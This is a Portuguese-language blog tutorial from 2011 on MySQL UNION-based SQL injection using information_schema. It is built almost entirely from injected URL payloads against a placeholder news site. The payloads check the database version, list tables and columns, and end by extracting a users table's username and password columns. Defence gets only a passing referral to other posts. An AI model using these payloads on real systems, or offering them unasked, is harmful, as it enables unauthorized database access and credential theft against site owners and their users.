sexta-feira, 25 de novembro de 2011

Tutorial + Video-Aula: Mysql Injection com Information_schema.


1 – O que é Information_Schema? 

In relational databases, the information schema is an ANSI standard set of read-only views which provide information about all of the tables, views, columns, and procedures in a database. It can be used as a source of the info rmation which some databases make available through non-standard commands, such as the SHOW command of MySQL, the DESCRIBE command of Oracle, and the \d command of PostgreSQL.
Retirado de Wikipédia.
Basicamente foi criado para listar tables,views e colunas, mas quando cai em mãos erradas pode revelar praticamente tudo do seu BD para um black hat.
Maldito Information!!   Não amigo, o information foi criado para o bem, a vulnerabilidade não está nele ou no mysql, está no seu site que faz com que ele possa ser executado remotamente.

2 – Vulnerabilidade: Como ocorre? Como saber? Como resolver? 

A vulnerabilidade se dá por SQL Injection, Aqui no site ja falamos inúmeras vezes como ela ocorre e como resolver, sugiro a você dar uma pesquisada.
Como saber se posso usar information_schema?  Esse recurso está presente no Mysql 5+ para ver isso basta usar na query @@version, exemplo:
www.site.com/index.php?noticia=173+union+all+select+1,@@version ,3 
e for exibido algo como:
5.0.51a-3ubuntu5.8 
Você pode usar information, é claro que pode aparecer outras versões, isso é apenas um exemplo, mas de 5 em diante você pode usar.

3 – Explorando 

A exploração é bem simples, e faremos consultas nessa ordem:
1 – Tabela
2 – Coluna
3 – Dados da Coluna
Achando a Tabela

Digamos que você ja deu Union all select e aparecem no site os numeros 5,6,7. 
Deu a seguinte query:
http://www.site.com/index.php?noticia=173+union+all+select+1,2,3,4,5,6 ,7,8,9,10,11 
Agora fazemos a procura em information_schema.tables:
http://www.site.com/index.php?noticia=173+union+all+select+1,2,3,4,5,6 ,7,8,9,10,11 from information_schema.tables
Substituimos a parte que aparece no site por table_name:
http://www.site.com/index.php?noticia=173+union+all+select+1,2,3,4,tab le_name,6,7,8,9,10,11 from information_schema.tables
O resultado será uma lista de tabelas, ex:
tabela
7
6
tabela2
7
6
tabela3
7
6
usuarios
7
6
 Pronto já temos as tabelas, agora procure alguma que interesse, como ex: usuarios ou admin e iremos limitar a consulta com where table_name=’nome da tabela’ ou então nem limitar e exibir as colunas de cada tabela, como fiz na video-aula.


Limitando:


http://www.site.com/index.php?noticia=173+union+all+select 1,2,3,4,column_name,6,7,8,9,10,11 from information_schema.columns where table_name='usuarios'

Resultado ser algo como:


coluna
7
6
coluna2
7
6
senha
7
6
usuario
7
6
Não limitando:

http://www.site.com/index.php?noticia=173+union+all+select 1,2,3,4,table_name,column_name,7,8,9,10,11 from information_schema.columns
Resultado:
tabela

7
6
tabela2
7
6
tabela3
7
6
usuarios
7
coluna
usuarios
7
coluna2
usuarios
7
senha
usuarios
7
usuario

Pronto agora temos Tabela: usuarios, Colunas: coluna,coluna2,usuario,senha.
Só falta pegar os dados dela:
http://www.site.com/index.php?noticia=173+union+all+select 1,2,3,4,usuario,senha,7,8,9,10,11 from usuarios
Conseguimos !

4 - Vídeo 


(recomendamos você ver em 720p Tela Cheia)


Nenhum comentário:

Postar um comentário